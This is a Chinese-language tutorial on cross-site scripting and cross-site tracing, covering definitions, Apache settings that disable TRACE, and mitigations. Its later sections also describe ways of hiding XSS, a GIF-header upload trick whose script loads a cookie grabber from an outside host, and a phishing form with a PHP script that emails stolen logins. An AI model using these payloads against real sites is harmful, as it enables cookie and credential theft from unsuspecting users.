标题：跨站攻击
简介
业界对跨站攻击的定义如下：“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据，用户认为该页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被解释执行。”由于HTML语言允许使用脚本进行简单交互，入侵者便通过技术手段在某个页面里插入一个恶意HTML代码，例如记录论坛保存的用户信息（Cookie），由于Cookie保存了完整的用户名和密码资料，用户就会遭受安全损失。如这句简单的Javascript脚本就能轻易获取用户信息：alert(document.cookie)，它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中，稍做分析便获取了用户的敏感信息。
跨站攻击有多种方式，典型的方式有两种
其一由于HTML语言允许使用脚本进行简单交互，入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie），由于Cookie保存了完整的用户名和密码资料，用户就会遭受安全损失。其二XST攻击描述：攻击者将恶意代码嵌入一台已经被控制的主机上的web文件，当访问者浏览时恶意代码在浏览器中执行，然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机，同时传送Trace请求给目标主机，导致cookie欺骗或者是中间人攻击。
XST攻击条件：
1、需要目标web服务器允许Trace参数；
2、需要一个用来插入XST代码的地方；
3、目标站点存在跨域漏洞。
XST与XSS的比较
相同点：都具有很大的欺骗性，可以对受害主机产生危害，而且这种攻击是多平台多技术的，我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。优点：可以绕过一般的http验证以及NTLM验证
用apache+mysql+php在win2003架设web服务器，扫描服务器：
提示 www (80/tcp)
http TRACE 跨站攻击
你的webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试web服务器连接的HTTP方式。
支持该方式的服务器存在跨站脚本漏洞，通常在描述各种浏览器缺陷的时候，把"Cross-Site-Tracing"简称为XST。
攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。
解决方案: 禁用这些方式。
如果你使用的是Apache, 在各虚拟主机的配置文件里添加如下语句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
也可以在server config或者 virtual host中添加如下配置（适用于Apache 1.3.34, 2.0.55 and later）
TraceEnable off
XSS和脚本注射的区别
并非任何可利用脚本插入实现攻击的漏洞都被称为XSS，因为还有另一种攻击方式：“Injection”，即脚本注入或者是讲脚本注射，他们之间是有区别的，他们的区别在以下两点：
1、( Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里，如：sql injection,XPath injection.这个很常见，好象前几个月很多安全网站被黑就是因为脚本里存在注入漏洞，而被一些人利用的。
2、跨站脚本是临时的，执行后就消失了。这个就不同于我们现在讨论的XSS/CSS 了，今天讲的是在页面中插入脚本，这样谁来访问谁的浏览器就执行，如果不被删掉或者是修改编辑的话，就一直存在的。
什么类型的脚本可以被插入远程页面？
主流脚本包括以下几种：
HTML
Javascript
VB
ActiveX
Flash
如何防范XSS跨站攻击
在你的WEB浏览器上禁用java脚本，具体方法，先打开你的IE的internet选项，切换到“安全”页，有个“自定义”级别，点他出现如下窗口，禁用就可以了。但是好象不太可能，因为一旦禁用，很多功能就丧失了，这个方法是下策。
还有不要访问包含〈〉字符的连接，当然一些官方的URL不会包括任何脚本元素。
如果你的站点程序含论坛，留言板，以及其他程序中含提交数据格式的，没有很好过滤机制，请马上下载升级程序或是停止使用ubb这样的功能，避免造成更多的问题。
跨站脚本执行漏洞的成因，形式，危害，利用方式，隐藏技巧漏洞成因原因很简单，就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。漏洞形式这里所说的形式，实际上是指CGI输入的形式，主要分为两种：
1．显示输入
2．隐式输入
其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种：
1． 输入完成立刻输出结果
2． 输入完成先存储在文本文件或数据库中，然后再输出结果
注意：后者可能会让你的网站面目全非！
而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。漏洞危害大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典型的吧。
1． 获取其他用户Cookie中的敏感数据
2． 屏蔽页面特定信息
3． 伪造页面信息
4． 拒绝服务攻击
5． 突破外网内网不同安全设置
6． 与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
7． 其它
一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。隐藏技巧出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书看吧。
1． URL编码
比较一下：
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6 
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你觉得哪个更有隐蔽性？！
2． 隐藏在其它对象之下
与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？
3． 嵌入页面中
让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得多，借助于Iframe，你可以把这种攻击变得更隐蔽。
4． 合理利用事件
合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本执行漏洞。注意事项一般情况下直接进行类似alert(document.cookie)之类的攻击没有什么问题，但是有时 CGI程序对用户的输入进行了一些处理，比如说包含在’’或””之内，这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。解决方法要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：
程序员：
1． 过滤或转换用户提交数据中的HTML代码
2． 限制用户提交数据的长度
用户：
1． 不要轻易访问别人给你的链接
2． 禁止浏览器运行JavaScript和ActiveX代码
附：常见浏览器修改设置的位置为：
Internet Explorer：
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera：>文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用JavaScript常见问题Q：跨站脚本执行漏洞在哪里存在？
A：只要是CGI程序，只要允许用户输入，就可能存在跨站脚本执行漏洞。
Q：跨站脚本执行漏洞是不是只能偷别人的Cookie？
A：当然不是！HTML代码能做的，跨站脚本执行漏洞基本都能做。
解决 ubuntu server 的跨站攻击
apache 默认开启了TRACE功能(TraceEnable=on)，Ubuntu Server也不例外。用x-scan扫描发现此功能存在存在跨站攻击漏洞，并且提出了解决办法，在配置文件中添加如下语句： 
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
问题是不知道该放那里，找一天都没发现。尝试在/etc/apache2/httpd.conf里添加，怎么都没反应。网上一般就是打开虚拟机的 AllowOverride，然后在.htaccess文件中添加。但整个配置文件都可以修改，没理由要这样做......奇迹就发生在重启的瞬间，竟然连不上服务器。跑到实验室发现，重启正常，无奈之下竟发现还有一个sites-available的目录，里面的default文件才是所谓的配置文件，汗死...
添加后可通过 telnet 127.0.0.1 80 确认是否修复该漏洞，输入：
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回车后返回：
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.2
（注：windows的telnet默认没有打开输入回显）XSS 上传举个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码
GIF89a<script>alert("XSS")</script>
保存退出.
上传hack.gif到相就的地方...此时跨站发生
不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.
为什么添加GIF89a ?
因为很多上传程序会来检查我们的gif文件是否包含 'GIF89a',如果包括则认为是gif文件.
code:GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script> 
我们需要知道一些其它格式图片,头部所包含的代码.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不要仅仅只检查getimagesize()XSS 钓鱼你是否明白什么是钓鱼？什么是XSS？
在这个例子里，有必需找到一个易受攻击的网站去XSS并注入那里，身于一种形式，以自己直接在网址以下代码
code:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
这个通过这个模仿的表单，然后利用mail.php通过电子邮件把表单里的数据发送给你。
code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>